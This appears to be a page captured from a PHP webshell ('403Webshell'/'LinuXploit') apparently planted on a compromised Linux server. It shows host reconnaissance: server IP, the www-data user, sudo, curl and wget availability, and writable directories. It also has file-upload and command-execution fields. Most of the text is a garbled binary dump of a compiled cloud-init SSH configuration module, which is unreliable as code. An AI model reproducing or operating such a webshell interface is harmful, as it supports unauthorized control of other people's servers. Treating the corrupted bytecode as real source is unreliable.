403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/config/__pycache__/cc_ssh.cpython-314.pyc
+
��i�+�
��a�R t-0tRt^RIt^RIt^RIt^RIt^RIt^RIHtH	t	H
t
^RIHtH
t
HtHt^RIHt^RIHt^RIHt^RIHtHt^RIHtR	R
R].R]R
./t]^k]P8!]4t.R!OtR.t Rt!Rt".t#]^k/t$/t%]FOt&]$PO]&R2]!]&,R3]&R2]!]&,R2R3]&R2]!]&,R2R3/4]&R2]%]&R2&KQ	Rt(RRlt)RRlt*Rt+R"RRllt,R#)#zSSH: Configure SSH and SSH keysN)�List�Optional�Sequence)�	lifecycle�ssh_util�subp�util)�Cloud)�Config)�
MetaSchema)�ALL_DISTROS�ug_util)�PER_INSTANCE�id�cc_ssh�distros�	frequency�activate_by_schema_keys�ed25519z/etc/ssh/ssh_host_%s_keyT�_private��_public�.pub��_certificatez	-cert.pubz;o=$(ssh-keygen -yf "%s") && echo "$o" root@localhost > "%s"c�(�V^8�dQhR\RR/#)��keyfile�returnN)�str)�formats"�9/usr/lib/python3/dist-packages/cloudinit/config/cc_ssh.py�__annotate__r"=s��!3�!3�c�!3�d�!3�c�P�Rp\P!4pV'd V\P!^	^48dRpMRp\P
!R4pVR8wd\P!VRV4\P!W4\P!VR2V4R#)a�
For fedora 37, centos 9 stream and below:
 - sshd version is earlier than version 9.
 - 'ssh_keys' group is present and owns the private keys.
 - private keys have permission 0o640.
For fedora 38, centos 10 stream and above:
 - ssh version is at least version 9.
 - 'ssh_keys' group is absent. 'root' group owns the keys.
 - private keys have permission 0o600, same as upstream.
Public keys in all cases have permission 0o644.
ri�r�ssh_keysrN���)	r�get_opensshd_upstream_versionr�Versionr�get_group_id�os�chown�chmod)r�permissions_public�ssh_version�permissions_private�gids&    r!�set_redhat_keyfile_permsr1=s������8�8�:�K��{�Y�%6�%6�q�!�%<�<�
$��$��
�
�
�J�
'�C�
�b�y�
	����"�c�"��H�H�W�*��H�H��y��
�1�2r#c
�L�V^8�dQhR\R\R\R\RR/#)r�name�cfg�cloud�argsrN)rr
r	�list)r s"r!r"r"as6��]=�]=��]=�6�]=�%�]=�t�]=��]=r#c
�f�VPRR4'dU\PPRR4p\P!V4Fp\
P!V4K	RV9Ed�.pVR,P4F�wrxV\9d;\P!RV4'dRp	MRp	\PR	W�4KJ\V,^,p
\V,^,p\
P!W�V4R
V9gK�VP!R\#V
434K�	V'd\$P&!V4\(P4F�wr�W�R,9gW�R,9dK!\V,^,\V
,^,r�RR
\*W�3,.p\
P,!RRR7;_uu_4\.P.!VRR7RRR4\P1RW�4K�	EM�\
P2!VR\44p\
P6!4'gTMVUu.uFpV\89gKVNK	upp\;V4P=V4pV'd&\P1RRPV44VEF3p\>V,p\PPAV4'dK8\
PB!\PPEV44RRVRRRV.p\
P,!RRR7;_uu_4\.P.!VRRR/R 7wpp\
PF!VR!R4'g4\HPJPM\
PN!V44VPPPRR"8Xd\UV4RRR4EK6	R&V9dH\
P2!VR&,R'\`4p\
PF!VR&,R(\b4pM\`p\bpV'd)\eVR)7pVPfPiV4\jPl!WPP4wpp\jPn!V4wpp \
PF!VR+R4p!\
Pp!VR,\$Pr4p".p#\
PF!VR-R4'dVPu4;'g.p#M\P1R.4R/V9dVR/,p$V#PwV$4\yV#VV!V"4R# \d"\
P!\RT4EKdi;i +'giEL�;i \d'\
P!\RTRT24EK�i;iuupi \.PVd�p\
PN!TPX4P[4pTP\^8XdBTP[4P_R#4'd\P1R$T4Rp?EL�\
P!\R%TT4Rp?EL�Rp?ii;i +'giEK;i \d \
P!\R*4ELvi;i \d \
P!\R04R#i;i)1�ssh_deletekeysTz	/etc/ssh/zssh_host_*key*zFailed deleting key file %sr%z4^(ecdsa-sk|ed25519-sk)_(private|public|certificate)$�unsupported�unrecognizedz Skipping %s ssh_keys entry: "%s"r�HostCertificate�shz-xcz/etc/ssh)�	recursiveF)�captureNzGenerated a key for %s from %szFailed generating a key for z from �ssh_genkeytypesz5skipping keys that are not supported in fips mode: %s�,z
ssh-keygenz-tz-N�z-f�LANG�C)r?�
update_env�ssh_quiet_keygen�redhatzunknown keyz!ssh-keygen: unknown key type '%s'z(Failed generating key type %s to file %s�ssh_publish_hostkeys�	blacklist�enabled)rIzPublishing host keys failed!�disable_root�disable_root_opts�allow_public_ssh_keyszSSkipping import of publish SSH keys per config setting: allow_public_ssh_keys=False�ssh_authorized_keysz Applying SSH credentials failed!)=�getr*�path�join�globr�del_file�	Exception�logexc�LOG�items�CONFIG_KEY_TO_FILE�re�match�warning�
write_file�appendrr�append_ssh_config�PRIV_TO_PUB�KEY_GEN_TPL�SeLinuxGuardr�debug�get_cfg_option_list�GENERATE_KEY_NAMES�fips_enabled�FIPS_UNSUPPORTED_KEY_NAMES�set�
difference�KEY_FILE_TPL�exists�
ensure_dir�dirname�get_cfg_option_bool�sys�stdout�write�
decode_binary�distro�osfamilyr1�ProcessExecutionError�stderr�lower�	exit_code�
startswith�HOST_KEY_PUBLISH_BLACKLIST�PUBLISH_HOST_KEYS�get_public_host_keys�
datasource�publish_host_keysr
�normalize_users_groups�extract_default�get_cfg_option_str�DISABLE_USER_OPTS�get_public_ssh_keys�extend�apply_credentials)%r3r4r5r6�key_pth�f�cert_config�key�val�reason�tgt_fn�	tgt_perms�private_type�public_type�private_file�public_file�cmd�genkeys�names�	key_names�skipped_keys�keytyper�out�err�e�host_key_blacklist�publish_hostkeys�hostkeys�users�_groups�user�_user_configrKrL�keys�cfgkeyss%&&&&                                 r!�handler�as����w�w���&�&��'�'�,�,�{�,<�=�����7�#�A�
C��
�
�a� �$��S�����J��-�-�/�H�C��,�,��8�8�J�C���+�F�+�F����>��L��'��,�Q�/�F�*�3�/��2�I��O�O�F��3���$��"�"�$5�s�6�{�#C�D�0�"��&�&�{�3�)4�):�):�)<�%�L��:��.��:��6��"�<�0��3�"�;�/��2�&����|�.I� I�J�C�
��&�&�z�T�B�B��I�I�c�5�1�C��	�	�4�k��*=�4�*�*��"�$6�
���$�$�&�&�
�%��$�E�� :�:���$��	��7�|�.�.�y�9����I�I�G�����&�
�
!�G�"�g�.�G��w�w�~�~�g�&�&���O�O�B�G�G�O�O�G�4�5���w��b�$��H�C��"�"�:��>�>��#�y�y��T�v�s�m� �H�C�� �3�3��/�����
�
�(�(��);�);�C�)@�A��|�|�,�,��8�0��9�?�>�!�D��$�!�5�5��&�'��&�
��
 �3�3��&�'��4E�
��8��,���'�2D�E��	=����.�.�x�8�=�"�9�9�#�|�|�L����&�6�6�u�=���|��/�/��^�T�J�� �3�3��$�h�&@�&@�
�����#�#�C�)@�$�G�G��,�,�.�4�4�"�D��I�I�>�
�
!�C�'��/�0�G��K�K�� ��$��l�4E�F��g�
C����C�!>��B�B�
C��NC�B�B��
�
�����2�"�m�6�,��9���
����B�1�1���,�,�Q�X�X�6�<�<�>�C��{�{�a�'�C�I�I�K�,B�,B�%�-�-��	�	�"E�w�O�O�����F�#�#�	�����?�>�>��V�	=��K�K��;�<�	=��2�=����C�;�<�=�s��V� W�,V7�W�&
W?�8W?�[� BX�1[�
B0\�>A\�'V4�3V4�7W�	W�,W<�;W<�[	�A#Z<	�=Z<	�[�Z<	�6[�<[	�[�[�&\�\�&\0�/\0c��\V4pV'd\P!W4V'd0V'gRpVPRV4pVPRR4pMRp\P!VRVR7R#)�NONEz$USERz
$DISABLE_USER�rootrB)�optionsN)rgr�setup_user_keys�replace)r�r�rKrL�
key_prefixs&&&& r!r�r�sb���t�9�D��� � ��,����D�&�.�.�w��=�
��'�'���@�
��
����T�6�:�>r#c�P�V^8�dQhR\\\,,/#)rrI)rrr)r s"r!r"r"s����H�X�c�]�$;�r#c��\:R2p.p.pV'dVUu.uFqAV3,NK	pp\P!VR,4Uu.uF
pWS9gKVNK	ppVFfp\P!V4pVP	4p	V	'gK3\V	4^8�gKEVP
\V	R,44Kh	V#uupiuupi)aRead host keys from /etc/ssh/*.pub files and return them as a list.

@param blacklist: List of key types to ignore. e.g. ['rsa']
@returns: List of keys, each formatted as a two-element tuple.
    e.g. [('ssh-rsa', 'AAAAB3Nz...'), ('ssh-ed25519', 'AAAAC3Nx...')]
r:NrN)�*)rirRr�load_text_file�split�lenr]�tuple)
rI�public_key_file_tmpl�key_list�blacklist_files�key_type�hostfile�	file_list�	file_name�
file_contents�key_datas
&         r!r{r{s���(4�5���H��O��@I�
�?H�8�H�;�.�.�y�	�
��	�	�"6��"?�@��@�H��*�	��@����	��+�+�I�6�
� �&�&�(���8��H�
��)��O�O�E�(�2�,�/�0�	�
�O��#
��s�C�C�Cc�~�V^8�dQh/^\9d
\;R&^\9d\\,;R&#)r�metary)�__conditional_annotations__rrr)r s"r!r"r"s6��%�%�*��j��+&�H+�*�D��I�*�I&r#)�rsa�ecdsar)N).r��__doc__rR�loggingr*rYrn�typingrrr�	cloudinitrrrr�cloudinit.cloudr	�cloudinit.configr
�cloudinit.config.schemar�cloudinit.distrosrr
�cloudinit.settingsrr��	getLogger�__name__rVrdrfrirzryrXr_�k�updater`r1r�r�r{r")r�s@r!�<module>r�sA���&���	�	�
�+�+�5�5�!�#�.�2�+�	�(�
��}����r�	�������!��0��'�[��)����(*��*�����	�A�����c��N�\�A�-�u�5��c��M�|�a�/�0��5�u�=��c���L�1�$4�#5�Y�!?�� G�	
��&'�C�w�-�K�1�#�X���
�L��!3�H]=�@?�"�r#

Youez - 2016 - github.com/yon3zu
LinuXploit